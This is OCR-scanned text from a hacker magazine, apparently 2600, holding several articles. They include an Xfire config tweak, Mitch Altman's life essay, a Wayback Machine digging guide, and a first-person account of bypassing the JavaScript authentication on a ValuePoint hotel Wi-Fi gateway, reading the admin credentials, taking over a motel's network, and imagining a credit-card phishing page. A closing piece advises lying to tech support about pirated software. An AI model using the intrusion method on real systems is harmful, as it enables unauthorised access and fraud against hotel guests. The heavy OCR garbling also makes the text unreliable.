my c i ty ' s  major a i rport term i n a l .  

I n  s u m ma ry, there a re two poi nts t o  take 
away. The fi rst is that secu r ity i s  a n  i l l us ion  a n d  
t h a t  the E m peror i s, i ndeed, q u ite n aked, i f  
you  s imp ly  beg i n  look i ng. The  second, more 
d i stu rb i ng poi nt, i s  that the government both 
i s  l y i n g  to u s  and i s  spen d i ng sh i t loads of tax 
money on  nonsens ica l  contr ivances l i ke the 
Tra nsportat i o n  Safety Adm i n i strat ion,  w h i c h  
shou l d  be d i s m a nt led I M HO a n d  rep l aced 
with somet h i n g  that actu a l l y  cou l d  ident i fy 
the s ma l l  n u m ber of potent i a l  terror i sts rather  
than  forc i ng the ent i re popu l at ion  of the 
cou ntry to end u re the m i santhrop ic  grop i ng 
of a n  u ned ucated i l l i terate workforce. End  of 
soapbox - h appy hack i n g! 
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H a c ki n g  5Cfire 
by Akurei 

I'm not much of a writer so please forgive. 
Recently I was pissed off when I found Xfire 
wouldn't record the time I was spending 
building NWN2 (Neverwinter Nights 2) 
modules via the toolset. But it was more than 
happy to record the time from the game. So I 
went about tweaking this and in the process 
found some fun things you can do. 

Everything listed here is very benign and 
far more a mod than any real hack. Though 
I'm sure given the proper exploitation you 
could piss off Xfire quite a bit. 

Upon browsing to your Xfire directory 
you will find a file called "xfire--8ames.ini . "  
This holds all the game data/tracking info 
the client calls upon to track your game-play 
use. However the client makes no attempt to 
match your client ini with their server side ini 
unless a client update/patch changes them. 
This of course leaves us a big window to 
modify this all we want. 

First let's see how to add those trackers 
for the NWN 1 or 2 toolsets. Developers do 
deserve credit, don't they? 

Open xfire--8ames.ini with any standard 
text editor. It doesn't need to be anything 
fancy. And there's no encryption on this either, 
so it's plain as day to read/understand. 

For Neverwinter 1 do a search for Never­
winter and you should see the following: 

� 
LongName =Neve rwinter Nights 
ShortName =nwn LauncherDi rKey=HKEY 

-LOCAL MACH INE\SOFTWAR E \ B i oWare \ 
-

_NWN\Neverwint er \Locat ion 

Below that line you would add the 
following: 

Detect Exe=nwtoo l s e t . exe 

Save and you're done. It goes without 
saying you shouldn't do this with Xfire 
running. It wouldn't cause any problems. 
You'd just have to client restart for the new 
in i to ta ke effect. 

For Neverwinter 2, follow the same steps 
listed above (except keep searching past 
NWNl until is says Neverwinter 2). This time 
you should see the following code: 

De t e c t Exe [ O J  =nwn2ma i n . exe 
De t e c t Exe [ l J =nwn2ma in amdxp . exe 

In this case you would
-
add the following: 

DetectExe [ 2 J =nwn 2 t oo l s e t l aunche r . exe 

Save again and you'll be set. Just remember 
that when the client is updated/patched the 
ini is not always changed. But you should 
check each time as it likely will have been. 
There are multiple workarounds for this 
system as well, but that's another article. 

If you've been paying attention, or have 
even the slightest of nefarious minds, you can 
see how this system is very open to exploita­
tion. Any system process could be slapped 
into the ini for detect, to create a false result 
on any game of your choice. 

R S  WANT 



I don ' t  know how to defi ne a hacker, but  not for someone e l se or what I thought others 
I guess I am one. And whatever hack i ng is, wanted of me.  I chose to stop watc h i n g  TV. 
I der ive great p l easure from i t, and,  more And it sucked ! I was bored . What to do? I 
recent ly, comm u n ity as wel l .  d i d  some o f  the th i ngs that I h a d  been doing 

I grew up  i n  my own l i tt l e  wor l d  as  a k id .  a l l  a long, but  had neglected : tak i ng apart 
What choice d i d  I have? Be ing  tormented e lectro n i cs, putt i ng  them back together, 
da i l y and  beaten up frequent ly by other  k ids  ham rad i o, mess ing  with phones, p rogram­
for be i n g  geeky, I qu ick ly  fou n d  that  hang i ng m i ng the ma i nframe computer l ate at n i ght 
out by myself was way better than  be i ng at the factory that l et some of us c u b  scouts 
su bjected to the crue l ty of the other k ids  i n  du r i ng the wee hours when they d i d n ' t  
wh i l e  t h e  gym teacher ( i t ' s  a l ways the  gym need the computer power to m a ke chem i ­
teacher, i sn ' t  i t ? )  watched the scene wi th  h i s  ca l ly p rocessed, frozen desserts for Amer ica .  
arms fo l ded, encouragi ng the i r  da i l y tortu res. Though I was sti l l  depressed, I saw that there 
Not havi ng other k ids  to learn from about were some t h i ngs I actu a l l y  l i ked doi ng. 
soc i a l  norms, I looked at t h i ngs and thought The fi rst b i g  system I tr ied to hack was 
about th i ngs in my own way. Th i s  was p a i nfu l me.  L i ke many of my fi rst h acks, it was n ' t  
as  a k i d ,  but  i t  turned o u t  t o  b e  a great asset successfu l .  I made a big mess of th i ngs. I 
l ater i n  l i fe . Start i ng  from a depressed b lob  t r ied  to  hack myself i nto a wonderfu l person 
of a kid, I somehow l earned to l ove l i fe, a n d  for others and  fa i led . Later I wou l d  figu re 
hack ing is a b ig  part of how I d i d  that .  So out that for some systems, such as  myse l f, 
is TV. I see l i fe as a hack.  We keep h ack i ng i t ' s  way better to  make use of  strengths, as 
away at it, m a k i ng i t  as good as we can, a n d  we l l  as  fi nd good uses for w h a t  I thought 
shar ing  i t  as  we go a l ong. were weaknesses. B u t  back then there were 

H ow can anyone can be bored? Maybe some successes on other fronts. I managed to 
boredom has to do with fee l i n g  conf ined, l i ke conv i nce my parents to add a second phone 
in a hospita l .  Or a j a i l ce l l .  Maybe i t  rea l ly l i n e  to the i r house. I set to hack ing  a swi tch 
comes down to depress ion .  W h i l e  depressed that wou l d  con nect the two phone l i nes 
how can you be motivated to do a nyth i ng? together after I ' d  ca l l  two p i zza p laces, or 
Except maybe watch TV. That ' s  what I d i d, two bu l l i es from school who d i d n ' t  l i ke each 
as a kid, as  much as I cou l d :  after a n other other. I soon learned that I had to u nscrew 
day of angu i sh  at the hands of my peers, I ' d  the phone ' s  m icrophone so that n o  one 
come home a n d  retreat i nto TV. I remember cou l d  hear me laugh .  Wi r i ng  the basement 
th i n k i ng, wh i l e  watc h i ng yet another e p i sode for sou n d  with the homemade stereos I bu i l t 
of Gilligan 'S Island, " I  don ' t  rea l ly l i ke t h i s  was i m portant for l i sten i n g  t o  P i n k  F l oyd ' s  
- why d o  I watch th is  every day? "  B u t  I j ust Dark Side of the Moon rea l ly loud,  way h igh  
kept watch i ng. Ti me went  away. H o u rs each on pot (from the homemade e lectro n i c  bong 
day that I wasn ' t  doi ng someth i n g  enjoya b l e, that I made), meditat ing  on fix i ng myse l f  so 
that I was n ' t  learn i n g  how to i n teract with that other  peop le  m i ght actu a l l y  want me 
other k i ds, that I was n ' t  be i n g  act ive o r  doi ng a round .  
someth i n g  hea l thy. And a l l  the j u n k  food I ate That  br i ngs me to  what  rea l l y saved my 
i n  front  of  the th i ng made me even fatter. A n d  l i fe . Pot. I know i t ' s  n o t  fash ionab le  i n  our  
a l l  the peop le  on TV were bea ut i fu l ,  h a ppy, home l a n d-sec u r i ty-era to say that you d i d  
and  any prob lems they had were solved by drugs. B u t  i t  was the 70s then and everyone 
the end of the ha l f-hour  show. They had was smok i n g  i t, even the jocks.  And after 
fr iends, they had warm, lov i ng parents.  It was somehow gett ing  th rough j u n ior h igh schoo l 
a l l  so depress i ng !  And the next day, back at a l ive ( i f  not emotiona l l y scarred for l i fe), I 
schoo l ,  I was even more of a ta rget: I ' d get fou n d  another system to hack:  the schoo l 
beaten a n d  tormented a l l  the more. So, I ' d  d i str ict .  I worked i t  so that I had a cho ice of 
come home and  retreat i nto TV. The cyc le  of wh ich  of two h igh  schoo l s  to go to and,  natu­
depress ion  cont i n ued. ra l ly, chose the one a l l  the bu l l ies did not go 

But  one day, I made a choice for mysel f, to. And th i s  h igh  school had an e lectro n i cs 
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c l ass !  Our  c l ass was fu l l  of futu re rad io  
repa i rmen of  Amer ica .  And tota l pot-heads. 
At this very l a rge subu rban h igh schoo l ,  
a l l  you had to do was say, " I ' m  coo l "  and  
that  i nstant ly  l et you  i nto a c i rc l e  of  peop le  
smok i ng pot, usua l l y  i n  the woods beh i n d  
t h e  schoo l .  Th i s  was way better than recess 
with gym teachers.  Who knew! Maybe I ' d 
have figu red out how to be with peop le  some 
other way, but I fou n d  out how to be s i l l y 
and  l a ugh with peop le  i n  th i s  way. And, of 
course, I wa nted more. Which  meant that I 
abused the he l l out  of pot. And then other 
d rugs. I lea rned a l ot from each one. But the 
drugs took their  to l l , which i s  why I don ' t  do 
a nyth i ng stronger than sugar and chocolate 
a nymore. Yet, somehow back then I was a 
great student th rough it a l l , ' ca use I l i ked 
learn i ng. About everyth i ng. H ow does i t  a l l  
work ?  A n d  why? Why, why, why, a n d  why 
aga i n, br i ngs you down to the sma l l est l eve l s  
of obscu re i nexp l icab le  quantum mecha n i cs .  
Quantum i s  so b izarre that i t  makes l i tt l e  
sense t o  a nyone, i nc l ud i n g  t h e  peop le  who 
created the fie l d  (j ust l i ke l i fe) .  That mea n s  
t h a t  any mea n i ng w e  fi nd i s  our  o w n  bus i ­
ness. What cou l d  be cooler  than that? 

By th i s  t ime I was in u n ivers i ty learn i ng 
assemb l y  on a Cyber computer  (with 60-bit  
words ! ) .  I i nsti n ct ive l y  grav i tated to the one 
l a b  that d i d n ' t  accept any m i l itary fu nd i ng, 
run by R icardo, one of the greatest p rofes­
sors ever. R i ca rdo was about to be fi red 
(yet aga i n )  for not gett ing  enough m i l i tary 
fu n d i ng. B u t  I nte l ,  a sma l l  sem iconductor 
company, donated about one m i l l ion  dol l a rs' 
worth of s i ng le-ch i p  m i c rocontro l lers to our  
l ab .  H ere was  a comm u n ity of  m i sf it i ntro­
verted geeks do ing the coo l est projects. 
Wh i le the other labs were work i n g  on bori ng 
m i ss i l e  g u i dance systems, peop le  in o u r  lab 
were work i ng on robots, neura l - n etworked 
m i c rocontro l l ers, mus ic  synthesizers, and  
des ign i n g  better m i c rocode. 

R i ca rdo wou l d  get a l l  us  geeks together 
over p i zz a  to ta l k  about respons i b i l i ty for 
what we put  i nto the world, comm u n i ca­
t ion ( is  i t  rea l ly poss ib le, or i s  i t  j ust pass i n g  
i nformat ion b a c k  and  forth? ) ,  consc ious­
ness (wou l d  it be theoret ica l l y  poss i b l e  for a 
mach i ne to h ave i t, whatever it i s ?) ,  a n d  what 
i t  means to be h u m a n .  

I t  w a s  dur i ng these get-togethers t h a t  I 
got hooked on com m u n ity: a whole bunch 
of  peop le  hack ing  the i r  own soc iety, m utu­
a l l y  supporti ng  each other i nto grow i n g  as 
m uch as poss i b l e, i nd iv idua l l y  and  col l ec­
t ive ly, beco m i ng more of who we a re a l l  
the t i me.  Start i ng  off i n nocent ly  enough 
with group houses, lead i n g  to food coops, 
comm u n ity rad i o, com m u n ity centers for 

mus ic  a n d  performance, fu n c iv i l d i sobed i ­
ence events . . . .  One th i ng led to  a nother a n d  
before I knew i t  I w a s  sta rt i ng  a c o m m u n e  
i n  very rura l  Ten n essee. Th i s  i s  way too l o n g  
a story for t h i s  co l u m n ,  b u t  suffi ce i t  t o  say 
that hack ing  soc i eties in a com m u n e  wi l l  
be exp lo red i n  the futu re by others besides 
myse l f. I fou n d  other means .  F l ee i ng the 
comm u ne, I moved back to San Fra n c i sco 
and started a RA I D  contro l le r  company with 
a fr iend - a n d  3 wa re was born .  

3 wa re was more com m u n i ty t h a n  the 
com m u n e  ever was. At l east at fi rst. B u t  l i ke 
a l l  sta rtups, the bozo-exp los ion  took p lace 
when the i nvestors sta rted h i r i ng m idd le­
management, a n d  then it was t ime to go back 
to consu l t i ng .  Why don ' t  more of us  consu l t ?  
I t ' s  the coo l est way to hack you r  economy. 
L i fe i n  the economy is a tradeoff between 
t ime and  money. For me, t ime is way more 
va l ua b l e  than  mak ing  money. So, th roughout 
my adult  l i fe, I ' ve worked a few weeks 
consu l t i ng, m a k i ng enough money to l ive 
the rest of the year. That g ives enough t ime to 
trave l ,  hang out with fr iends, vo l u nteer, a n d  
work on my o w n  projects at home. 

I d i scovered the wor ld  of consu l t i ng  wh i l e  
trave l i ng down t h e  West Coast after dr iv ing  
to  A l aska .  Th i s  i s  where I fi rst l ea rned to 
be happy - work i n g  in a f ish cannery of a l l  
p l aces. I t  fi n a l l y  c l i cked wh i l e  I was chop­
ping the heads off of fi s h .  I a m  free if  I choose 
to be. I have no control over the wor ld ,  but 
I h ave a l ot of control over what I choose to 
do with my t ime .  Why not choose more of 
what I tru l y  enjoy? So, I chose to q u i t  my job 
chopp i n g  the heads off of fi sh  and headed 
back sout h .  

I nterest i ng th i ngs happen w h e n  y o u  let 
them. Peop l e  who don ' t  know me often 
p ick  me out of a crowd a n d  te l l  me stuff: 
the i r  p rob lems, the i r  op i n ions, or even the i r  
l i fe story. I n  San  Franc i sco th i s  guy at  a n  
obscu re e lectro n i c  m u s i c  show random l y  
deci ded t o  com p l a i n  t o  me t h a t  he cou l d n ' t  
fi nd anyone t o  work with a 6502 m i c rocon­
tro l ler. Wou l d n ' t  you know that I had ta ught 
assemb l y  l a nguage progra m m i ng for a few 
years i n  u n ivers ity, us ing  6502s?  He h i red 
me as a consu Ita nt  on  the spot. Together with 
these fo l ks we created the fi rst V i rtu a l  Rea l i ty 
mach i nes (though, at the t ime we thought we 
were work i ng on a v i sua l l y or iented program­
ming l a nguage and some i n put  devices for 
it ) . 

After 3 wa re bozo-ed out, I made a 
consc ious  cho ice to make t ime to exp lo re 
what I rea l l y l ove to do. By now I ' d learned 
that I d i d n ' t  need to f ix myse l f, that I cou l d  
accept myself for even t h e  parts t h a t  I don ' t  
l i ke.  But  I d idn ' t  rea l l y know what  I l oved 
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to do. So, after consulting enough to make 
a year 's worth of money again, I made time 
to explore what I could do with my talent in 
computers and electronics that I truly loved. 
My hope was that I would somehow be able 
to make enough money from whatever I 
found to keep doing it (whatever it was). I 
didn't know if it would work or not. I just 
knew that I didn 't want to make yet another 
gizmo. I wanted to work on something mean­
ingful to me. 

I started doing lots of volunteer work. 
And I also started working on a microcon­
troller project that I 'd been thinking of for 
about ten years but hadn't  had the energy 
to work on. This project was conceptually 
so easy: push a button and the micro would 
pulse an infrared emitter (like the ones used 
in TV remote controls) with all of the power 
codes for just about every TV. Had I known 
that it was going to take a year and a half to 
make, or that it would take over my life, I 
may not have done it. But I did. My original 
hope was that I ' d  sell a few here and there, 
maybe breaking even on it. Instead it became 
an overnight sensation and I had to start a 
business to keep up with demand. As you 
can imagine, there are aspects to running 
any business that suck but, overall, I love TV­
B-Gone. I use the media attention as a fun 
way to encourage people to think about TV 
and its effects, encouraging everyone to take 
any opportunity they can to make their own 
choices to better their lives in their own ways. 
And TV- B-Gone makes me and some friends 
enough money to live off of. We're making a 
living doing what we love. How cool is that? 

But the coolest thing is that TV-B-Gone has 
connected me to a world of way wonderful 
people. If you watch TV you'd think that the 
world is full of idiots. And it is. Why else 
would all those gawdawful shows be so 

popular, and why else would all those outra­
geously manipulative commercials be so 
effective? But the world is also full of incred­
ible people doing so many amazing things. 
I t 's  just that we don't  all know about each 
other. But the means are at our disposal. This 
magazine has existed for over 2 0  years, giving 
a forum for geeks all over the world. MAKE 
Magazine and their Maker Faire are bringing 
hackers and makers of all sorts together. Off 
The Hook has been an independent outlet for 
information since 1988. Community radio 
stations all around the u.s .  are also beacons 
of independent voice. The Internet (with all 
its faults) provides a means for anyone to 
know that they are not alone and to share 
what we know and believe. HOP E confer­
ences have been providing fantastic experi­
ences of information and real live commu­
nity. And there are other hacker conferences, 
such as CCC and DEF CON. The ability for 
us to get together in community has never 
been greater. Geeks of the world unite! At 
least for long enough to know that we are not 
alone so we can go back into our geeky little 
worlds and create more cool technology that 
make the world better for all of us. There is 
no guarantee that what you do will succeed, 
but what is guaranteed is that if you don't  
make time to explore what you love, you will 
not be doing what you love. I can' t  prove it, 
but I believe that if more of us do what we 
love, the world becomes a better place for 
everyone. P lease choose well what you do 
with the time of your life. 

Mitch Altman is best known for inventing 
TV-B-Cone, the popular keychain tha t  can 
turn off just about any TV in public places. 
But he feels tha t  his main accomplishment 
has been, against all odds, learning to enjoy 
life. Next time you see him, go up to him and 
tell him your life 's story. 



by Sidge.2 & Bimmerfan 
As some of you may know, the company 

Va l ue Po i nt se l l s  w i re less access poi nts to 
some of the b iggest hote l chains in  Amer ica . 
Th i s  i n c l u des Best Western,  Cho ice Hote l s, 
Hampton, H i l ton, H o l i day I n n, Marr iott, 
Ramada I n n ,  and  many other subs id­
i a r ies as wel l  a s  i ndependent access 
poi nts and hote l s  around the worl d .  
From http : //www . va l uepo intne t .com : 

Value Point Networks supports 
hundreds of service and solution 
providers worldwide by providing a 
complete line of rugged, powerful, 
and highly reliable wireless products 
designed with the solution provider in 
mind. Simply put, ValuePoint 's prod­
ucts do the job the others cannot, and for a 
price the others cannot match. 

Founded in 2002 to develop products 
designed specifically for hotspots and other 
public access venues, ValuePoint has quickly 
become a leader in this burgeoning space, 
and has expanded into other markets as 
well, such as industrial, WIS/� MTUIMDU, 
and municipalities. 

With Rugged Access Points and 
Advanced Gateway Controllers, shipping 
since early 2003, ValuePoint Networks ' 
products are deployed today in thousands 
of venues around the world. 

Hotels, marinas, shopping malls, RV 
parks, MTUs, MDUs, and virtually every 
imaginable location are operated using 
ValuePoint Networks ' renowned SuperAP, 
MultiAp, SuperMesh, and Gateway ControllE'r 
products. 

ValuePoint offers our customers superior 
solutions at much lower price points, thereby 
minimizing your up-front capital investment. 

Recent ly I stayed at the Amer ica's Best 
Va l ue i n  Las Vegas. We stayed there because 
it was cheap, near the monora i l ,  and they 
offered " Free Wi-F i . "  I won 't g ive a hotel 
review. We pa id  for a cheap hote l and that's 
what we got. B ut, if someone advert i ses 
free Wi-F i  they shou l d  de l iver. The WiF i  
connection was  shoddy at best and  h a l fway 
th rough the second day i t  stopped worki ng 
compl Ple l y. We decided to i nvestigate. When 

you fi rst attempt to con nect to any  web page 
you a re red i rected to the terms of serv i ce 
page. The page is at I P  address 1 . 1 . 1 . 1  but 
a l so reso l ves on 1 92 . 1 68 .0 . 1 . 

I l oaded the i ndex page i nstead 
(ht t p , ! !192 .168 . 0 .1!html ! index. html ) .  The 
htm l structu re was what enab led us  to fi nd a l l  
of the i nformat ion to h i jack the box . M y  fi rst 
idea was a bas ic  one - j ust look at the l ogi n 
form and  see where it was subm itt i ng.  

< 1 _-

..::scr i pt name : "  Javascr i p t " >  

f I.Inct i o n  page l oad O{ 
II \� l ndO'J . open( " as_system . htm l "  , "ma l nFrame " ) ; 

II window.open("menu_os .htm l " , "  l eftFrome " ) ;  
1/ 'Ni.ndo!'>} .open( " top_os- . htm l "  , " topFrame " ) ; 

} 
< .• /scr i pt> 

- -> 
So I d i d  what any h a l fway i ntel l i gent 

person wou l d  do. 

Reload 

AL 

Print Frame 

Print Window . . .  

The fra me sou rce for t h e  log in  screen was 
fa r morE' i nteresti ng tha n  I had p rev ious ly  
E'xpected . It turns  out that  Va l uePo i nt's secu­
r i ty setup i s  most ly  done i n  Java5cr ipt .  Th is  
goes for thei r page loads as wel l .  U pon exam­
i n i ng the source for the left co l u ll1 n  I found 
somet h i n g  fa i r l y  i n terest i ng.  
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d --

<scr i pt name= " Javascr i pt" > 
f unc t i on page loadO{ 
II w i ndo" . open ( " as_system .htm l "  , " mainFrame " ) ;  
II window .open("me",,cas .htm l "  , " lettFrame" ) ;  
I I  w i ndow .open ( " top_as .htm l " . " topFrame" ) ;  

} 
</sc r i pb 

It appea rs that there a re th ree w i ndows 
that ope n .  Th i s  s i te uses frames and the 
JavaScr i pt s i m p l y  overwr i tes the cu rrent 
frame with the new htm l .  The prob lem is 
that "as_system.h tm l "  in the m a i nframe f inds 
noth i ng. So I d id the next best t h i n g  and 
l oaded the menu as . htm l .  I t  worked l i ke 
a charm and actu-;;- I l y  l oaded . The menu i t  
l oaded was the preloaded and  h ig h l ighted 
"Advanced Sett i ngs" men u .  After brows i n g  
through severa l  opt ions  and fi n d i ng o n l y  a 
few that seemed to do anyth i ng, we c l i cked 
on the Apply Set tings button at the bottom 
and then c l i cked that i t  was OK to reboot. 
The p i n g  rout i n e  we were do ing  on a sepa­
rate computer stopped . Even l ogged out, 
the reboot rout i n e  worked . After the server 
rebooted I dec i ded to try the o n l y  other 
button I hadn 't tr ied. I t  appeared to br ing  up 
a fi l e  ca l led " s i temap. htm l . "  I c l i cked on it 
and i t  brought u p  th ree new wi ndows. Th i s  
w a s  t h e  key. I tested th i s  i n  two browsers on 
my Mac.  I t  d id  not work i n  F i refox but i t  d id 
work i n  Safa r i .  

c + 

Th i s  is the s itemap and  for nav igat i ng  t h i s  
system i n  one fra me I cou l d n 't f ind a nyth i ng 
better. N ow at t h i s  po i nt we're i n  the back 
end of the system and can get to a nyth i ng and  
cha nge a nyth i ng. The  prob lem i s  tha t  there 

a re a few steps for every change and I rea l l y  
wa nted t o  get the same v i ew a s  t h e  adm i n i s­
trators.  So we dec i ded to see if we cou l d  fi nd 
out what the admi n i strator password was .  So 
we browsed through and c l i cked on Admin. 

After you c l i ck  a l i n k  you a re greeted with 
th is  message on top of the open i n g  "terms 
of serv ice" agreement page. The reason th i s  
h a c k  works i s  because o f  a n  i nsecur i ty i n  
t h e  Java code t h a t  authent i cates. I t  loads the 
correct page and then checks to see i f  you 
a rf' a n  a uthenti c user. I f  you a re not authen­
t i cated i t  loads the TOS i nto the m a i nframe 
overwr i t i ng  the i nformat ion that you want 
to get. By load i ng th i _  in sepa rate w i n dows 
you bypass the a b i l ity to perform th i s  spec if ic  
Jct i o n .  I n  Safar i ,  the w i n dow with the error 
message IOJds in a new page leav i ng the data 
u ntouched ,1lld open .  Th i s  enab les you to see 
a nyth i n g  that you wa nt.  N ow, as I sa id ,  th i s  
i s  easy. But  for me,  i t's a l ways eJs ier  to  f ind a 
username a n d  pJssword so that I can rea l l y 
see what the m a nagers see . So we navi gated 

http. ! 1 1 92. 168.0.1 

to the adm i n  page u nder the System Tool s .  
U nder the w i n dow that  I c losed I saw th i s .  

I t  i s  the a d m i n  page and  conta i n s  t h e  user­
name and  password f ie lds  for both root and  
subscr i ber manager pr iv i l eges. I expected a t  
l east MDS encrypt ion but we figu red s i nce 
the rest of the system was so poor ly  made we 
wou l d  check. So we d i d  the easiest th i ng we 
cou l d  th i n k  of. 
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It cou l d n 't be th i s  easy though, cou l d  it!  

Hrde Addre�$ 
Address Bilf 

Text Encochng 

, ..  
,, -
" 

i'f"lIlI 

Sad l y, yes . I t  was th i s  easy. We ascerta i ned 
the user and  password and the o n l y  th i ng l eft 
to do was to g ive it a try. 

mation . Bas ica l l y anyth ing we wa nted . Sild ly, 
we were unab le  to fix the server. Oh wel l ,  
maybe next t i me. For  now we j ust l eft some 
i nformation on how we got in and then we 
got out of there. Th is  i s  by fa r the easiest 
i ntrus ion attack that I 've ever done and on 
one of the most widely ava i l ab le  nat ionwide 
systems.  It j ust goes to show you that if  you 
are i nvolved in a bus i ness that a l ways buys 
the cheapest gea r you shou l d  expect to get 
broken i nto . Someti mes it is bettl'r i n  the long 
run to spend a l i tt l e  money i n  order to prevent 
fraud on you r  system. There i s  no rc'ason that 
I cou ldn 't have changed the Terms of Service 
page i nto a cred it ca rd va l idat ion pagl' where 

a hotel member enters thei r 

st _3ystemAcnt • X$ l "?::-..+lotSpot :,.,·<adm i rU):3-ern(lme�dmi n</odm I n� username> 

n u mber and name and secur i ty 
code with a d i sc l a i mer  sayi ng 
"the Ethernet i s  free but we m ust 

<Odrfl ln_paSS:WOTd:- -"IOdfll in_poS$WOf.:h 

<:superv 1 SOT _USernqme> </::�ljperV t .SOT _ us-ernamep 

<superv i sor _pasBword> :/slJpervi sor _pass'Jord::-
..;/HotSpot> 

And there we have it. We now have 
complete contro l over o u r  mote l 's network .  
We can change whatever we want i n c l ud i ng 
terms of serv ice a n d  the forward i n g  pagt'. 

Or we cou ld  change the log i n  page i nfor-

ver ify you r  cred it card n u m ber 
to that on you r  room to confi rm 
that you a re stay ing  at our  
hote l . "  How many cards cou l d  

w e  have gotten before they figu red i t  out? 
For a nyone using this system:  F i n d  a nother 

system.  B rea k i ng tb i s  one took a l l  of ten 
m i n utes . I t  i s  not worth the hass le to you r  
customers a n d  you r  secur i ty. 
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et Archa 

by i l ikenwf 
parwok@gmaiLcom 

Archaeology i s  a term that descri bes 
u n ea rth i ng an a rt i fact that is o l d, long lost, or 
forgotten .  The I nternet i s  no d i fferent from the 
rea l wor ld  in  the sense that i t  too has a rt i facts 
of med i a  from d ays gone by. You j u st h ave to 
know where to l ook .  The best p lace to start 
IS the I nternet Arch ive "Wayback Marc h i ne, " 
(http : //web . archive. org) which  houses over 
e ight  petabytes of old i nformat ion g leaned 
from the ea r l i est days of the I nternet up to 
now. J u st put  i n  a n  address a n d  you can v i ew 
a s i te, p rovided it was i ndexed, a l l  the way 
back to 1 996 .  

Beginning Methodology 
I had wanted to fi nd as  much " lost" TechTV 

and  ZDTV med i a  as poss i b l e  for nosta l gi a ' s  
sake. Sta rt i ng  out, I j ust was v i ewi ng t h e  s i tes 
by i nd iv idua l  a rch ive dates. Th i s  was way too 
ted ious and t ime consum i ng to be worth­
wh i l e  and  i t  d i d n ' t  rea l l y  give me much to 
work with .  D i gg ing  around  on the a rch ive ' s  
i nformat ion pages, I d i scovered t h a t  search i n g  
s i tes w i t h  w i l dcards ( * )  i s  supported . To g ive 
it a shot, I typed i n  http : //www . t echtv . com/* 
as wel l  as http : //www . zdtv.com/ * .  These 
searches y ie lded long l i sts ( 45,000+) of pages 
from the two dom a i ns .  At fi rst i t  was rea l ly 
s low to s i ft th rough the i nformat ion u nt i l I 
fou n d  a way to speed it up - go to the bottom 
of the search page and  set  the n u mber of 
resu lts d i sp l ayed to 30. Then, when the page 
reloads, the u r i  w i l l  look l i ke th i s :  http : /  / 
,",web . archive . o rg/web/ * s r_lnr_30/http : // 
"url . com/ * .  J u st change the 30 to a reason­
ab le  n u m ber that  won ' t  cause you r  browser 
to crash and load the page from you r  ed i ted 
u r I . The l i st wi l l  be much l arger, therefore 
you don ' t  have to c l i ck  "next" over a n d  over 
aga i n .  Then, scroi l/pagedown through the 
content look ing  for i n terest i ng ly  named f i les 
and  fi l es with u ncommon extens ions, l i ke 
pdf, psd, z i p, etc . F i nd  one, c l i ck  the l i n k, 
and  if there is o n l y  one copy of that fi l e  i n  
the arch ive i t  w i l l  pop r ight  u p  u n l ess i t  was 
i ndexed i n correctly. Otherwise you w i l l  get 
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a choice of dates the fi l e  was a rch ived o n .  
Choose t h e  fi rst o n e .  Keep work ing  th rough 
the dates u nti l you fi nd a good u ncorrupted 
copy of the fi l e  (see t ips  and  tr icks sect ion for 
exp l a n at ion ) .  

Subdomains 
The problem with th i s  method is that it 

does n ' t  search a l l  of the subdoma i n s  of a 
top l evel doma i n  address. To do th i s, e ither 
use a whois  search, exa m i n e  the web page's 
(htm l ,  php,  x m l ,  etc . )  fi les '  sources and  look 
at the paths .  (See about us ing w i l dcards l i ke 
* techtv.com . )  U s i n g  a com b i n at ion of these 
methods, as  wel l as my memory of the s i tes, 
I stu mb led across subdom a i n s  l i ke cache.  
techtv.com, chattechtv. com, and on and  o n .  
You can see a l i st o f  t h e  dom a i n s  I fou n d  a t  
h t t p : //www . ma t tparnc l l .com/ 2 6 00/t echtv 
- subdomains . txt . 

See The Findings 
U s i n g  the above methods, I searched 

other doma i n s  and fou nd a l l  sorts of stuff: a 
font of Cat ' s  handwrit i ng, psd and  eps sou rce 
i m ages for many of the show ' s  logos, lots of 
wa l l papers, avatars from the o l d  ZDTV chat 
pa lace, among other th i ngs. I a l so fou nd 
many v ideo and  sou nd c l i ps f rom the o ld 
" Fox K ids" te l ev i s ion  network on the a rch ived 
cop ies of foxk ids .com.  A l l in a l l , I was very 
successfu l and  very p l eased . You can grab 
a copy of my d i scover ies from http : //www . 
-ma t tparne l l. com/arch . html . 

http://www.mattparneILcom/ 
arch.htmL Practical Uses 

. These methods can a l l  be used for good or 
ev i l  - you can see the i n ner  work i n gs of s i tes 
that h ave, s i n ce a rch iv i ng, locked down areas 
that were once p u b l i c l y  ope n .  Someti mes 
you can even fi nd med i a  that was free but is 
now charged for, thus sav i n g  you money. I n  
truth, the s ky ' s  the l i m i t !  H ave fu n !  

Some lips and Tricks 
1 .  These methods will give you fi l es other 

than "web on ly"  fi les, such as executab l es, 
z i p  fi l es, a n d  v ideo fi les too ! 

2 .  One prob lem is that some of the z i p  
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fi l es and  exe fi l es get garb l ed a n d  corrupted 
dur i ng  tra nsfer to the a rch ive (espec i a l l y  on 
o l der pages) and  don ' t  a l ways work. You 
can somet i mes repil i r  the z i p  fi l es, but many 
t i mes it  does n ' t  work .  Try fi n d i ng a nother 
a rch ive date with the same fi le .  Otherwi se it  
i s  best to move o n .  

3 .  Ta ke note tha t  you a ren ' t  rpa l l y supposed 

by Franz Kafka 
I used to work as a tech n i c il l  support repre­

sentative for Answers by Gilteway and wou l d  
serve as a corporate guard i a n  t o  ensure that 
peop le  ca l l i n g  in about p i rated softwa re or 
to help crack passwords were not he l ped . 
I have parted ways because my col l eagues 
h ave a d i fferent menta l i ty about hack ing than 
I .  Most peop le  who work as  a tech n i c i a n  
(with some except ions) can't p rogra m i n  a n y  
l a nguage, n o t  even i n  Vi sua l Bas ic .  

B u t  there a re some ways the peopl e  who 
ca l l  i n  to  Answers by  Gateway can get he lp .  
L ie  to  the tech n i c i a n .  There i s  no  way tha t  we 
can verify over the phone  tha t  the copy of 
M i crosoft Office or you r  OS is p i rated u n l ess 
you tel l the tech n i c i a n ,  so don't te l l  the tech ­
n i c i a n  t h a t  i t  i s  a n  i l l ega l copy. Remember 
i f  you a re ca l l i ng in for support on  a n  OEM 
copy of W i ndows to tel l the tech n i c i a n  that 
i t  came with the mach i ne .  (We won't te l l  
you th i s, but  a l l  cop ies of Windows that a re 
a fu l l  vers ion  OS a n d  not a n  i m age d i sc w i l l  
work on a n y  mach i n e  as  long as  you h ave 
the product key. The tr ick is to 1 )  l ead us to 
bel ieve that the d i sc came with the mach i n e  
or 2 )  l e a d  us  i nto th i n k i ng that you bought 
a new copy of W i n dows to i nsta l l  on you r  
mach ine . )  

Some of  the tec h n i c ia n s  a re ana l  reten­
